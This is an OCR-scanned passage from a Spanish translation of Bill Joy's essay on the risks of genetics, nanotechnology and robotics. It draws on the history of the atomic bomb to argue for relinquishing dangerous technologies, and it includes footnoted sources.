temperaturas mucho mayores, congela los océanos [hay trad. cast.: Cuna de gato.
Barcelona, Anagrama, 1988].
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Mas que nada, es el poder destructivo de la auto-replicacion en
genética, nanotecnologia y robotica (GNR) lo que deberia obligarnos a
hacer una pausa. La auto-replicacion es el modus operandi de la inge-
nieria genética, que utiliza la maquinaria de la célula para replicar sus
disefios, y es el peligro méas importante subyacente al fango gris en na-
notecnologia. Historias de robots renegados como el Borg, replicAndose
o mutando para escapar de las imposiciones éticas de sus creadores, son
bastante comunes en nuestros libros y peliculas de ciencia ficcion.
Incluso es posible que la auto-replicacion sea algo mas amplio de como
la pensamos y, por eso, mas dificil —o incluso imposible- de controlar.
Un articulo reciente de Stuart Kauffman en Nature titulado “Auto-
Replicacion: hasta los péptidos lo hacen” analiza el descubrimiento de
que 32 pepto-aminoacidos pueden “auto-catalizar su propia sintesis”.
No sabemos hasta qué punto estd extendida esta habilidad, pero
Kauffman sefiala que podria dar pistas de “una via hacia sistemas mole-
culares auto-reproductores, con bases mucho mas amplias que el base
par de Watson-Crick.”16

En verdad, hemos tenido avisos de los peligros inherentes al
conocimiento y difusion de las tecnhologias GNR —de la posibilidad de
gue el conocimiento por si mismo diera lugar a una destruccion masiva.
Pero estos avisos no tuvieron demasiada prensa; los debates publicos
han sido notoriamente inadecuados. Hablar de los peligros no da
ganancias.

Las tecnologias nucleares, biolégicas y quimicas (NBQ) usadas en
las armas de destruccion masiva del siglo XX eran y son mas que nada
militares, desarrolladas en laboratorios de gobiernos. En abierto con-
traste, las tecnologias GNR del siglo XXI tienen usos comerciales mani-
fiestos y estan siendo desarrolladas casi exclusivamente por empresas
corporativas. En esta era de comercialismo triunfante, la tecnologia —con
la ciencia tomada de la mano- esta entregando una serie de invenciones
casi magicas, que son de las mas lucrativas que se han visto hasta ahora.
Estamos lanzados a hacer realidad las promesas de estas nuevas tec-
nologias dentro de este sistema, ahora sin competencia, del capitalismo

16. Kauffman, Stuart, “Self-replication: Even Peptides Do It”, en Nature, N° 382, 8
de agosto de 1996, p. 496. Ver [versibn en internet]
http://www.santafe.edu/sfi/People/Kauffman/sak-peptides.html/.
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global y su multiplicidad de incentivos financieros y de presiones com-
petitivas.

Este es el primer momento en la historia de nuestro planeta en que una
especie, por sus propias acciFones voluntarias, se ha convertido en una
amenaza para si misma —asi como para un vasto niumero de otras.

Pudiera ser un proceso esperable, que sucediera en diversos mun-
dos —un planeta, recientemente formado, evoluciona placidamente en
la 6rbita de su estrella; la vida se forma lentamente; emerge la inteligen-
cia que, al menos hasta cierto momento, es valiosa para la superviven-
cia; y entonces se inventa la tecnologia. Se dan cuenta de que hay cosas
como las leyes de la Naturaleza; de que estas leyes pueden revelarse
mediante experimentos, y que el conocimiento de estas leyes puede
usarse tanto para salvar vidas como para quitarlas, en ambos casos a
una escala sin precedentes. La ciencia, reconocen, confiere poderes
inmensos. En un instante crean dispositivos capaces de alterar el
mundo. Algunas civilizaciones planetarias se abren del camino, ponen
limites a lo que estaria bien hacer y lo que no, y siguen protegidas de
peligros a través del tiempo. Otras, con menos suerte, 0 Menos pru-
dencia, perecen.

Ese es Carl Sagan, escribiendo en 1994, en Pale blue dot, un libro que
describia su vision del futuro humano en el espacio.l?7 Recién ahora
estoy dandome cuenta de lo profunda que era su vision, y de la manera
en que lo echo y lo echaré de menos. Por su elocuencia, el aporte de
Sagan era, sin ser menos, el del simple sentido comin —-un atributo del
que parecen carecer, junto al de la humildad, muchos de los voceros e
impulsores de las tecnologias del siglo XXI.

Me acuerdo de cuando era chico que mi abuela estaba en contra del
uso excesivo de antibiéticos. Habia trabajado como enfermera desde
antes de la Primera Guerra Mundial y tenia la nocién de sentido comun
de que tomar antibioticos, a menos que fueran absolutamente necesa-
rios, era malo para uno.

17. Pale blue dot: a vision of the human future in space. New York, Random House, 1994
(hay trad. cast.: Un punto azul pélido: una visién del futuro humano en el espacio.
Barcelona, Planeta, 1995). (N. del E.)
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No es que fuera una enemiga del progreso. Vio muchos progresos
a lo largo de casi 70 afios como enfermera; mi abuelo, diabético, se be-
neficié enormemente de las mejoras en los tratamientos que se hicieron
posibles a lo largo de su vida. Pero ella, como mucha otra gente, pen-
saria que es una gran arrogancia de nuestra parte estar, ahora, disefian-
do una “especie robética capaz de reemplazarnos”, cuando obviamente
tenemos tantos problemas en hacer que funcionen cosas relativamente
sencillas, y tantos problemas para manejarnos —o hasta entendernos- a
Nnosotros mismos.

Me doy cuenta ahora de que ella tenia una nocién o una compren-
sion del orden natural de la vida, y de la necesidad de vivir junto a ese
orden, respetandolo. Este respeto conlleva una necesaria humildad de
la que nosotros, en nuestra fiebre de comienzos del siglo XXI, carecemos
peligrosamente. La vision de sentido comun, basada en este respeto,
suele tener razén, incluso antes de la evidencia cientifica. La evidente
fragilidad e ineficiencias de los sistemas humanos que hemos construi-
do deberia obligarnos a hacer una pausa; ciertamente la fragilidad de
los sistemas en los que he trabajado me ha tornado mas humilde.

Deberiamos haber aprendido una leccién de la fabricacion de la
primera bomba nuclear y de la carrera armamentistica. No actuamos
bien esa vez, y los paralelismos con nuestra situacién actual son pro-
blematicos. El esfuerzo por construir la primera bomba atémica fue li-
derado por el brillante fisico J. Robert Oppenheimer. Oppenheimer no
estaba interesado en la politica pero tomoé conciencia de lo que percibia
como una amenaza para la civilizacion Occidental proveniente del
Tercer Reich, una amenaza seguramente grave debido a la posibilidad
de que Hitler obtuviera armas nucleares. Motivado por este temor, llevo
a Los Alamos su poderoso intelecto, su pasion por la fisica y su habili-
dad de lider carismatico, y condujo los esfuerzos rapidos y exitosos de
un sorprendente grupo de brillantes seres para inventar la bomba.

Lo llamativo es como el trabajo prosiguié con tanta naturalidad
después de que hubiera desaparecido el motivo inicial. En una reunién
poco después del Dia V-E con algunos fisicos que sentian que quizas se
deberia detener la investigacion, Oppenheimer argumentd que habia
gue continuar. La razén que dio parece algo extrafia: no por temor a
grandes bajas en una invasion a Japén, sino porque las Naciones
Unidas, que estaban proximas a formarse, debian tener prioridad en el
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conocimiento de las armas atémicas. Un motivo méas probable por el
que debia continuar el proyecto es el punto al que habia llegado -la
primera prueba atémica, Trinity, estaba casi al alcance de la mano.

Sabemos que al preparar esta primera prueba atémica, los fisicos
procedieron pese a un gran nimero de posibles peligros. Se preocu-
paron inicialmente, en base a calculos realizados por Edward Teller, de
gue una bomba atémica pudiera incendiar la atmdésfera. Un nuevo cal-
culo redujo el peligro de destruir el mundo a una posibilidad de tres en
un millén (Teller dice que luego pudo descartar por completo un even-
tual incendio atmosférico). Oppenheimer, sin embargo, estaba lo sufi-
cientemente preocupado por el resultado de Trinity como para hacer
arreglos para una posible evacuacién de la parte sur oeste del estado de
Nuevo México. Y, por supuesto, estaba el peligro de disparar una ca-
rrera armamentistica.

A lo largo del mes siguiente a esa primera, y exitosa, prueba, dos
bombas destruyeron Hiroshima y Nagasaki. Algunos cientificos
sugirieron que la bomba sdélo fuera exhibida, en lugar de arrojarla sobre
ciudades japonesas —decian que asi se mejorarian las posibilidades para
el control de armas luego de la guerra, pero no se los tuvo en cuenta.
Con la tragedia de Pearl Harbor fresca todavia en la cabeza de los esta-
dounidenses, hubiera sido muy dificil para el Presidente Truman
ordenar una demostracion de las armas en vez de usarlas como lo hizo
—el deseo de terminar rapidamente con la guerra y salvar las vidas que
se hubieran perdido en cualquier invasion a Jap6n era demasiado
fuerte. Y sin embargo la verdad era probablemente muy simple: como
luego dijo el fisico Freeman Dyson, “La razén por la que se lanzé fue
que nadie tuvo el coraje o la prevision de decir no.”

Es importante darse cuenta de lo shockeados que estuvieron los
fisicos en los momentos posteriores a la bomba de Hiroshima, el 6 de
agosto de 1945. Hablan de varios estados de emocion: primero, satisfac-
cion porque la bomba funcionaba; después horror por todas las per-
sonas que habian muerto; después el sentimiento convencido de que
bajo ninguna razén debia arrojarse otra bomba. Sin embargo, por
supuesto, otra bomba fue arrojada, en Nagasaki, a solo tres dias del
bombardeo de Hiroshima.

En noviembre de 1945, tres meses después de los bombardeos con
armas atdmicas, Oppenheimer se amparo en la actitud cientifica, dicien-



220 BILL JOY

do, “No es posible ser cientifico a menos que se crea en que el
conocimiento del mundo, y el poder que éste conlleva, es algo de valor
intrinseco para la humanidad, y en que uno lo esta usando para pro-
mover la difusion del conocimiento y esta dispuesto a soportar las con-
secuencias.”

Oppenheimer siguié adelante trabajando, junto a otros, en el
informe Acheson-Lilienthal que, como describe Richard Rhodes en su
reciente libro Visions of Technology, “hallé una manera de prevenir una
carrera armamentistica clandestina sin acudir a un gobierno mundial
equipado con armas”; su recomendacion fue algo parecido a entregar el
trabajo sobre armas nucleares a una agencia internacional.18

Esta propuesta condujo al Plan Baruch, que fue enviado a las Nacio-
nes Unidas en junio de 1945, pero que nunca se adopté (quizas porque,
como Rhodes sugiere, Bernard Baruch insistié en “recargar el plan de
sanciones convencionales”, haciéndolo asi inviable, mas alld de que
“casi con seguridad hubiera sido rechazado por la Rusia estalinista™).
Otros esfuerzos por promover avances serios hacia una internaciona-
lizacidn del poder nuclear para prevenir una carrera armamentistica se
detuvieron, ya sea ante la falta de acuerdo politico y la desconfianza
interna de EE.UU., o ante la desconfianza de los soviéticos. La oportu-
nidad de evitar la carrera armamentistica se perdio, y muy rapido.

Dos afios después, en 1948, Oppenheimer parecio haber llegado a
otra etapa en su pensamiento, diciendo que, “en algun sentido muy
basico que ninguna vulgaridad, ni broma, o sobreentendido pueden
atenuar, los fisicos han conocido el pecado; y este es un saber que no
pueden perder.”

En 1949 los soviéticos detonaron una bomba atomica. Para 1955,
soviéticos y norteamericanos, ambos, habian probado bombas de
hidrégeno aptas para ser lanzadas desde un avion. Y entonces empez6
la carrera armamentistica.

Hace 20 afios, en el documental The Day After Trinity, Freeman
Dyson repasé las actitudes cientificas que nos llevaron al precipicio
nuclear:

18. Visions of technology: a century of vital debate about machines, systems, and the human
world. New York, Simon & Schuster, 1999. (N. del E.)
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Lo he sentido yo mismo. El brillo seductor de las armas nucleares.
Es irresistible si te acercas a ellas como cientifico. Sentir que esta ahi en
tus manos, liberar esta energia que alimenta a las estrellas, hacer que si-
ga tus planes. Ejecutar estos milagros, elevar un millén de toneladas de
rocas al cielo. Es algo que le da a las personas una ilusién de poder ili-
mitado, y es, en algun sentido, responsable de todos nuestros proble-
mas —esto, que podrias llamar arrogancia tecnolégica, y que se apodera
de las personas cuando ven lo que pueden hacer con sus mentes.19

Ahora, como entonces, somos creadores de nuevas tecnologias y
estrellas del futuro imaginado, impulsados —esta vez por grandes re-
compensas financieras y una competencia global- pese a los claros peli-
gros, evaluando apenas lo que seria intentar vivir en un mundo que
fuera el resultado realista de lo que estamos creando e imaginando.

En 1947, The Bulletin of the Atomic Scientist empez6 a poner un Reloj
de Fin de los Tiempos en su portada. Por méas de 50 afios, ha mostrado
una estimacioén del peligro nuclear relativo que hemos enfrentado, refle-
jando las variaciones de las condiciones internacionales. Las manecillas
del reloj se han movido 15 veces y hoy, detenidas a nueve minutos de la
medianoche, reflejan el peligro real y continuo de las armas nucleares.
La reciente inclusion de India y Pakistan en la lista de potencias nuclea-
res ha incrementado la amenaza de fracaso de las metas de no proli-
feracion, y esto se reflej6 moviendo las agujas méas cerca de la me-
dianoche en 1998.

En nuestro tiempo, ¢(a cuanto peligro nos enfrentamos, no ya de
armas nucleares, sino de todas estas tecnologias? ;Qué tan altos son los
riesgos de extincion?

El filésofo John Leslie ha estudiado el tema y lleg6 a la conclusion
de que el riesgo de extincién humana es al menos del 30 por ciento,20
mientras que Ray Kurzweil cree que tenemos “una chance mejor que
nunca de superar nuestros problemas”, con la advertencia de que
“siempre he sido acusado de optimista.” No s6lo no son alentadoras

19. Else, Jon, The Day After Trinity: J. Robert Oppenheimer and The Atomic Bomb
(disponible en http://www.pyramiddirect.com/).

20. Esta estimacion esta en el libro de [John] Leslie, The End of the World: The Science
and Ethics of Human Extinction, donde sefiala que la probabilidad de extincién, es
sustancialmente mayor si aceptamos el argumento del Fin del Mundo de Brandon
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estas previsiones, sino que no incluyen la probabilidad de muchos
resultados terrorificos que acercan la extincion.

Puestas ante estas evaluaciones, algunas personas muy serias ya
estan sugiriendo sencillamente dejar la Tierra lo mas rapido posible.
Podriamos colonizar la galaxia usando los modelos de Von Neumann,
gue van de sistema a sistema solar, replicandose cada vez. Este paso sera
necesario, ciertamente, en 5 mil millones de afos (o antes si huestro sis-
tema solar recibe demasiado mal el impacto retardado de nuestra gala-
xia con la galaxia de Andrémeda en los futuros 3 mil millones de afios),
pero si leemos literalmente a Kurzweil y Moravec podria ser necesario
a mediados de este siglo.

¢Cuales son aqui las implicaciones morales? Si debemos dejar la
Tierra asi de rapido para que la especie pueda sobrevivir, ;quién acep-
ta la responsabilidad por el destino de aquellos (la mayoria de nosotros,
después de todo) que sean dejados atras? E incluso si nos dispersamos
por las estrellas, ;no es probable que nos llevemos nuestros problemas
con nosotros, o que hallemos, luego, que nos han venido siguiendo? El
destino de nuestra especie en la Tierra y nuestro destino en la galaxia
aparecen ligados inextricablemente.

Otra idea es erigir una serie de escudos para defendernos ante cada
una de las tecnologias peligrosas. La Iniciativa de Defensa Estratégica,
propuesta por el gobierno de Reagan, fue un intento de disefiar un escu-
do de ese tipo contra la amenaza de ataque nuclear desde la Unidn
Soviética. Pero Arthur C. Clarke que colaboré en la discusion del
proyecto, observaba: “Aunque seria posible, a un gran costo, construir
sistemas de defensa local que dejarian pasar ‘solamente’ unos bajos por-
centajes de misiles enemigos, la idea mas promocionada de un paraguas
nacional no tenia sentido. Luis Alvarez, quizas el fisico experimental
mas importante del siglo, me sefial6 que los defensores de tales pro-

puestas eran ‘tipos muy inteligentes sin sentido comun’.

Carter, que consiste, brevemente, en que “debemos sentir cierto rechazo a creer que
estamos entre los primeros, por ejemplo entre el primer 0,001 por ciento de todos
los humanos que algun dia habran de vivir. Con esto podemos pensar que la
humanidad no sobrevivira muchos siglos mas, ya no hablemos de colonizar la
galaxia. El argumento del Fin del Mundo de Carter no genera estimaciones de ries-
go por si mismo. Su fin es revisar las estimaciones que realizamos cuando consi-
deramos los diversos peligros posibles.” (London, Routledge, 1996. pp. 1, 3, 145.)
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Clarke seguia: “Mirando en mi muy a menudo nubosa bola de
cristal, sospecho que una defensa total seria posible en un siglo, méas o
menos. Pero la tecnologia involucrada generaria, como subproducto,
armas tan terribles que nadie se molestaria por nada tan primitivo como
misiles balisticos.”21

En Engines of Creation, Eric Drexler proponia que construyéramos
un escudo nanotecnolégico activo —una suerte de sistema inmunolégico
para la biosfera— para defendernos de cualquier replicador peligroso,
que pudiera escaparse de laboratorios o fuera creado maliciosamente.
Pero el escudo que proponia seria enormemente peligroso en si mismo
—nada evitaria que desarrollara problemas de autoinmunidad y atacara
él mismo la biosfera.22

Dificultades similares se aplican a la construccién de “escudos”
contra la ingenieria genética y de robots. Estas tecnologias son dema-
siado poderosas para crear escudos contra ellas en los lapsos de tiempo
en cuestion; incluso si fuera posible implementar escudos defensivos,
los efectos colaterales de su desarrollo serian al menos tan peligrosos
como las tecnologias de las que estamos tratando de protegernos.

Estas posibilidades son todas no deseables, impracticables o ambas
cosas. La Unica alternativa realista que veo es la abstencion: limitar el
desarrollo de las tecnologias que son demasiado peligrosas, limitando
nuestra blsqueda de ciertos tipos de conocimiento.

Si, ya sé, el conocimiento es bueno, ya que es la bsqueda de nuevas
verdades. Hemos estado en busca del conocimiento desde los tiempos
antiguos. Aristoteles empez6 su Metafisica con el sencillo enunciado:
“Todos los hombres por naturaleza desean conocer.” Desde hace tiem-
po, como base de consenso en nuestra sociedad, hemos acordado

21. Clarke, Arthur C., “Presidents, Experts, and Asteroids”, en Science, 5 de junio
de 1998. Republicado como “Science and Society”, en Greetings, carbon-based bipeds!
Collected Essays, 1934-1998. New York, St. Martin’s Press, 1999.

22. Y, como sugiere David Forrest en su trabajo “Regulating Nanotechnology
Development” [Regulando el Desarrollo de la Nanotecnologia], disponible en
http://www.foresight.org/NanoRev/Forrest1989.html/, “Si adoptamos un criterio
de responsabilidad estricta como alternativa a la regulacion, seria imposible para
cualquier laboratorio o entidad, internalizar los costos del riesgo (destruccion de la
biosfera), por lo que en teoria, el desarrollo de la nanotecnologia nunca deberia
emprenderse”. El andlisis de Forrest nos deja sélo con la regulacién gubernamen-
tal —una idea nada confortable.
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respecto del valor del acceso abierto a la informacion, y reconocemos los
problemas que conllevan los intentos de restringir su desarrollo y acce-
so. En tiempos recientes, hemos llegado a reverenciar el conocimiento
cientifico.

Pero mas alld de los sélidos antecedentes histdricos, si el acceso
abierto y el desarrollo ilimitado de los conocimientos nos colocan, de
ahora en mas, en claro peligro de extincién, entonces el sentido comuin
demanda que reexaminemos incluso estas creencias bésicas, sostenidas
durante largo tiempo.

Fue Nietzsche quien nos advirtid, en el final del siglo XIX, que no
solo Dios ha muerto sino que “la fe en la ciencia, que pese a todo existe
indudablemente, no puede deber su origen a un célculo de utilidad;
tiene que haber surgido a expensas del hecho de que la no-utilidad y peli-
grosidad de la ‘voluntad de saber’, de ‘saber a cualquier precio’ sea
puesta a prueba constantemente.” Es este peligro que ahora enfrenta-
mos —las consecuencias de nuestra busqueda de verdad. La verdad que
busca la ciencia ciertamente puede considerarse un sustituto peligroso
de Dios si implicara ciertas posibilidades de llevarnos a la extincién.

Si pudiéramos ponernos de acuerdo, como especie, sobre lo que
gueremos, adénde fuimos encaminados, y por qué, entonces podriamos
hacer mucho menos peligroso nuestro futuro —entonces podriamos
entender a qué podemos y deberiamos abstenernos. De otra manera,
podemos con facilidad imaginar una carrera armamentistica lanzan-
dose en torno a las tecnologias GNR, como sucedié con las tecnologias
NBQ en el siglo XX. Este es quizas el riesgo mas importante, ya que una
vez iniciada una carrera como esa, es muy dificil detenerla. Esta vez -a
diferencia de lo que pasaba durante el Proyecto Manhattan— no estamos
en guerra, enfrentando un enemigo implacable que amenaza nuestra
civilizacién; estamos impulsados, en cambio, por nuestros habitos,
nuestros deseos, nuestro sistema econémico y nuestra necesidad com-
petitiva de saber.

Creo que todos deseamos que nuestro rumbo esté definido por
nuestros valores colectivos, éticos y morales. Si hubiéramos logrado mas
sabiduria colectiva en los pasados miles de afios, entonces un didlogo en
este sentido resultaria méas practico, y los increibles poderes que esta-
mos por liberar no serian tan problematicos.
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Uno pensaria que seriamos llevados a ese dialogo movidos por
nuestro instinto de preservacion. Los individuos tienen claramente este
deseo, sin embargo como especie, nuestro comportamiento parece no
jugarnos a favor. Al resolver las amenazas nucleares, muchas veces nos
hablamos de manera mentirosa a nosotros mismos, y a los demas, incre-
mentando en gran medida los riesgos. Sea que esto estuviera motivado
politicamente, o porque elegimos no pensar las proyecciones, o porque
al enfrentarnos con amenazas tan graves actuamos con una falta de
temor irracional, no lo sé, pero no nos llevé a un buen desenlace.

Las nuevas cajas de Pandora de la genética, la nanotecnologia y la
robdtica estan casi abiertas, pero pareciera que nosotros apenas nos
damos cuenta. Las ideas no pueden ser vueltas a poner en una caja; a
diferencia del uranio o el plutonio, no necesitan ser enterradas o
tratadas quimicamente, y pueden copiarse libremente. Una vez que
salieron, salieron. Churchill destacé una vez, en una famosa frase, que
los norteamericanos y sus lideres “invariablemente hacen lo correcto,
una vez que examinaron todas las demas alternativas”. En este caso, sin
embargo, debemos actuar con mayor prevision, pues hacer lo correcto
recién al final puede significar perder definitivamente la oportunidad
de hacerlo.

Como dijo Thoreau, “Nosotros ho vamos montados en los rieles,
son los rieles los que van montados en nosotros”; y ésto es lo que debe-
mos combatir en nuestros tiempos. La pregunta es, de hecho, ;quién va
a ser el que ponga el rumbo? ;Sobreviviremos a nuestras tecnologias?

Estamos siendo arrojados a este nuevo siglo sin ningun plan, con-
trol o freno. ¢Hemos ido ya demasiado lejos en el camino como para
cambiar el rumbo? Yo no lo creo, pero aun no estamos intentandolo, y
la tltima oportunidad de retomar el control —el punto de no retorno- se
acerca rapidamente. Tenemos nuestros primeros robots mascotas, asi
como técnicas de ingenieria genética disponibles en el mercado, y nues-
tra técnica a nanoescala mejora rapidamente. Mientras que el desarro-
llo de esas tecnologias procede a través de una serie de pasos, no es
necesariamente el caso —como sucedi6 en el Proyecto Manhattan y la
prueba de Trinity— de que el Ultimo paso en una tecnologia de prueba
sea largo y arduo. El salto que posibilite la auto-replicacién salvaje en
robética, ingenieria genética o nanotecnologia podria darse repentina-



226 BILL JOY

mente, reviviendo la sorpresa que sentimos cuando supimos de la
clonacién de un mamifero.

Y sin embargo yo creo que tenemos una firme y sélida base para la
esperanza. Nuestros intentos de lidiar con armas de destruccién masiva
en el dltimo siglo nos proveen un reluciente ejemplo de abstencion para
considerar: el abandono unilateral de EE.UU., sin prerrequisitos, del
desarrollo de armas bioldgicas. Este abandono se basé en la toma de
conciencia del hecho de que mientras que significaria un enorme esfuer-
Zo crear estas terribles armas, podrian, a partir de entonces, ser facil-
mente reproducidas y caer en manos de naciones hostiles o de grupos
terroristas. La clara conclusion fue que desarrollar estas armas crearia
peligros adicionales para nosotros, y que estariamos mas seguros si no
las desarrollabamos. Hemos reafirmado nuestra abstencién de las
armas bioldgicas y quimicas en la Convencién sobre Armas Bioldgicas
de 1972 (Biological Weapons Convention, BWC) y en la Convencion
sobre Armas Quimicas de 1993 (Chemical Weapons Convention,
CWC).23

En cuanto al aun considerable riesgo de amenaza por armas
nucleares, con el que hemos vivido por méas de 50 afios, el reciente re-
chazo del Senado al Tratado Extenso de Prohibicion de Pruebas deja en
claro que la abstencion al uso de armas nucleares no sera politicamente
facil. Pero tenemos una oportunidad Unica, con el fin de la Guerra Fria,
de prevenir una carrera armamentistica multipolar. Construir, a partir
de la abstencién de la BWC y la CWC, una abolicién exitosa de las
armas nucleares, podria ayudarnos a crear un habito de abstencién a las
tecnologias peligrosas (de hecho, si reducimos a 100 el nimero de todas
las armas nucleares en el mundo -lo que seria equivalente al poder des-
tructivo total de la Segunda Guerra Mundial, una meta considerable-
mente mas sencilla— podriamos eliminar este riesgo de extincion).24

Supervisar la abstencién sera un problema dificil, pero no insupe-
rable. Tenemos suerte de haber hecho ya mucho trabajo relevante en el

23. Meselson, Matthew, “The Problem of Biological Weapons”, presentacion en la
Reunion de la American Academy of Artes and Science [Academia de Artes y
Ciencias de EE.UU.], 13 de enero de 1999 (ver
http://www.pugwash.org/reports/cbw/cbwb5.htm/).

24. Doty, Paul, “The Forgotten Menace: Nuclear Weapons Stockpiles Still
Represents the Biggest Threat to Civilization”, en Nature, N° 402, 9 de diciembre
de 1999, p. 583.
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marco de la BWC y otros tratados. Nuestra tarea mas importante sera
aplicar esto a tecnologias que son naturalmente mucho mas comerciales
que militares. La necesidad fundamental aqui es de transparencia, pues
la dificultad de supervision es directamente proporcional a la dificultad
de distinguir entre actividades para la abstencién y actividades legiti-
mas.

Francamente creo que la situacion en 1945 era méas simple que la
que enfrentamos ahora: las tecnologias nucleares eran pasibles de ser
razonablemente separadas entre sus usos comerciales y sus usos
militares, y el monitoreo era ayudado por la naturaleza de las pruebas
atomicas y la facilidad con que la radioactividad podia medirse. La
investigacion de aplicaciones militares podia realizarse en laboratorios
nacionales como Los Alamos, con los resultados mantenidos bajo secre-
to tanto tiempo como fuera posible.

Las tecnologias GNR no se dividen abiertamente entre usos comer-
ciales y militares; dado su potencial en el mercado, es dificil imaginar su
desarrollo sélo en laboratorios nacionales. Con sus dilatados margenes
para el uso comercial, supervisar la abstencion requerird un régimen de
supervisién similar al de las armas bioldgicas, pero en una escala sin
precedentes. Esto, inevitablemente, producira tensiones entre nuestra
privacidad individual, nuestro deseo de informacién registrada por
copyright, y la necesidad de supervisién para protegernos a todos. Sin
duda encontraremos grandes resistencias a esta pérdida de privacidad
y de libertad de accion.

La supervision de la abstencién a ciertas tecnologias GNR debera
tener lugar en el ciberespacio tanto como en lugares fisicos. El tema
critico sera hacer aceptable la necesaria transparencia en un mundo de
informacion basada en el derecho de propiedad, presumiblemente
creando nuevas formas de proteccion de la propiedad intelectual.

Supervisar la aplicaciéon también requerird que cientificos e inge-
nieros adopten un rigido cédigo ético de conducta, similar al juramento
hipocrético, y tengan el coraje personal de avisar cuando sea necesario,
incluso en situaciones de alto costo para si mismos. Esto responderia al
llamado que hizo -50 afios después de Hiroshima- el premio Nobel
Hans Bethe, uno de los més destacados de los miembros sobrevivientes
del Proyecto Manhattan, a que todos los cientificos “cesen y desistan de
trabajar en la creacidn, desarrollo, mejora y mantenimiento de armas
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nucleares y otras armas potenciales de destruccion masiva”.25 En el
siglo XXI, esto requiere de vigilancia y responsabilidad personal de
parte de aquellos que trabajen en tecnologias NBQ y GNR para evitar la
implementacion de armas de destruccion masiva y la destruccién masi-
va habilitada por el conocimiento.

Thoreau también dijo que seremos “ricos en proporcion al nimero
de cosas que nos podamos permitir dejar tranquilas.” Todos queremos
ser felices, pero pareciera importante preguntarnos si necesitamos
asumir semejantes riesgos de destruccion total para conseguir todavia
mas conocimiento y mas cosas; el sentido comun nos dice que hay un
limite para nuestras necesidades materiales -y que cierto conocimiento
es demasiado peligroso y es mejor dejarlo pasar.

Tampoco deberiamos perseguir una semi-inmortalidad sin consi-
derar los costos, sin considerar los sensibles incrementos del riesgo de
extincién. La inmortalidad, siendo quizas el original, ciertamente no es
el Unico suefio utépico posible.

Hace poco tuve la suerte de conocer al distinguido escritor y cate-
drético Jacques Attali, cuyo libro Lignes d"horizons (Millenium, en la tra-
duccion al inglés) ayudé a inspirar el acercamiento de Java y Jini a la
siguiente era de la computacién ubicua.26 En su nuevo libro Fraternités,
Attali describe la manera en que nuestros suefios de utopia han cambi-
ado con el tiempo:

En el despertar de nuestras sociedades, los hombres veian su paso
por la Tierra s6lo como un laberinto de dolor, al final del cual se erguia
una puerta que conducia, a través de la muerte, a la compafia de dio-
ses y a la Eternidad. Con los hebreos y después los griegos, algunos
hombres se animaron a liberarse de las demandas teoldgicas y sofiar
una Ciudad ideal donde la Libertad floreceria. Otros, percibiendo la
evolucion de la sociedad de mercado, comprendieron que la libertad de
algunos conllevaria la alienacion de otros, y persiguieron la Igualdad.

25. Ver también la carta de 1997 de Hans Bethe al presidente Clinton, en
http://www.fas.org/bethecr.htm.

26. Se refiere a sistemas de computacion como JAVA y JINI, disefiados para conec-
tar en red a aparatos electronicos de todo tipo, computadoras, teléfonos, edificios,
etc. (N. del T.)
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Jacques me ayudd a entender como estas tres diferentes metas
utdpicas hoy coexisten en tensién en nuestra sociedad. Sigue adelante
para describir una cuarta utopia, Fraternidad, cuya base es el altruismo.
La Fraternidad en si asocia la felicidad individual a la felicidad de los
otros, haciéndose cargo de la promesa de autosustentamiento.

Esto cristalizé el problema que me producia el suefio de Kurzweil.
Un acercamiento tecnoldgico a la Eternidad —semi-inmortalidad a través
de la robotica— quizas no sea la utopia mas deseable, y su blusqueda con-
lleva grandes peligros. Quizas debamos repensar nuestras elecciones
utopicas.

(Addnde podemos mirar para hallar una nueva base ética con que
definir el rumbo? Las ideas del libro Etica para el Nuevo Milenio, del Dalai
Lama, me han parecido muy utiles. Como a lo mejor se sabe, pero se
recalca poco, el Dalai Lama afirma que la cosa méas importante para
nosotros es llevar nuestras vidas con amor y compasion por los otros, y
que nuestras sociedades necesitan desarrollar nociones mas fuertes de
responsabilidad universal y acerca de nuestra interdependencia; pro-
pone un standard de conducta ética positiva para individuos y
sociedades que parece consonante con la utopia de Fraternidad de
Attali.

El Dalai Lama ademas afirma que debemos comprender qué es lo
que hace feliz a la gente, y tomar conciencia de las firmes evidencias de
que ni el progreso material ni la basqueda de poder del conocimiento
son la clave —que hay limites para lo que la ciencia y la investigacion
cientifica solas pueden hacer.

Nuestra nocidn occidental de felicidad parece venir de los griegos,
quienes la definieron como “el ejercicio de poderes vitales a lo largo de
lineas de excelencia, en una vida que promueve su libertad.”27

Ciertamente, necesitamos encontrar desafios consistentes y sufi-
cientes campos de libertad en nuestras vidas si vamos a ser felices en lo
gue sea que nos espera. Pero creo que debemos encontrar vias de escape
alternativas para nuestras fuerzas creativas, més alla de la cultura del
crecimiento econémico perpetuo; este crecimiento ha sido una gran ben-
dicion por varios cientos de afios, pero no nos ha dado una felicidad ca-

27. Hamilton, Edith, The Greek Way. New York, Norton, 1942. p. 35.
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rente de impurezas, y ahora debemos elegir entre perseguir un cre-
cimiento irrestricto y sin direccidn a través de la ciencia y la tecnologia
y los claros peligros que acomparian a esto.

Ha pasado méas de un afio desde mi primer encuentro con Ray
Kurzweil y John Searle. Veo a mi alrededor motivos de esperanza en las
voces de cautela y renuencia y en aquellas personas que he descubierto
gue estan tan preocupadas como yo acerca de nuestra predica actual.
Tengo, también, un sentimiento de responsabilidad personal mas pro-
fundo —-no por el trabajo que ya he realizado, sino por el trabajo que
todavia podria realizar, en la confluencia de las ciencias.

Pero muchas otras personas que saben de los peligros todavia per-
manecen extrafiamente en silencio. Si se las presiona, sueltan el ya cono-
cido “esto no es nada nuevo” —como si saber lo que podria pasar fuera
suficiente responsabilidad. Me dicen, “hay universidades llenas de
investigadores de bioética que estudian estos temas todo el dia”. Dicen
“todo esto ya esta escrito de antes, y por expertos”. Se quejan, “tus
preocupaciones y argumentos ya son cosa vieja”.

No sé dénde esconden su temor estas personas. Como arquitecto de
sistemas complejos, entro a esta arena como no-profesional. ;(Pero esto
deberia desmerecer mis inquietudes? Estoy al tanto de cuanto se ha
escrito al respecto, hablado al respecto y conferenciado al respecto, con
tanta autoridad. ¢Pero esto quiere decir que le llegé a la gente? ;Quiere
decir que podemos olvidar los riesgos que nos esperan?

Saber no es una respuesta racional suficiente como para no actuar.
¢(Podemos dudar de que el conocimiento se ha vuelto un arma que
manipulamos contra nosotros mismos?

Las experiencias de los cientificos atbmicos muestran claramente la
necesidad de asumir responsabilidad personal, el peligro de que las
cosas vayan demasiado rapido y la manera en que un proceso puede
cobrar vida propia. Podemos, como hicieron ellos, crear problemas
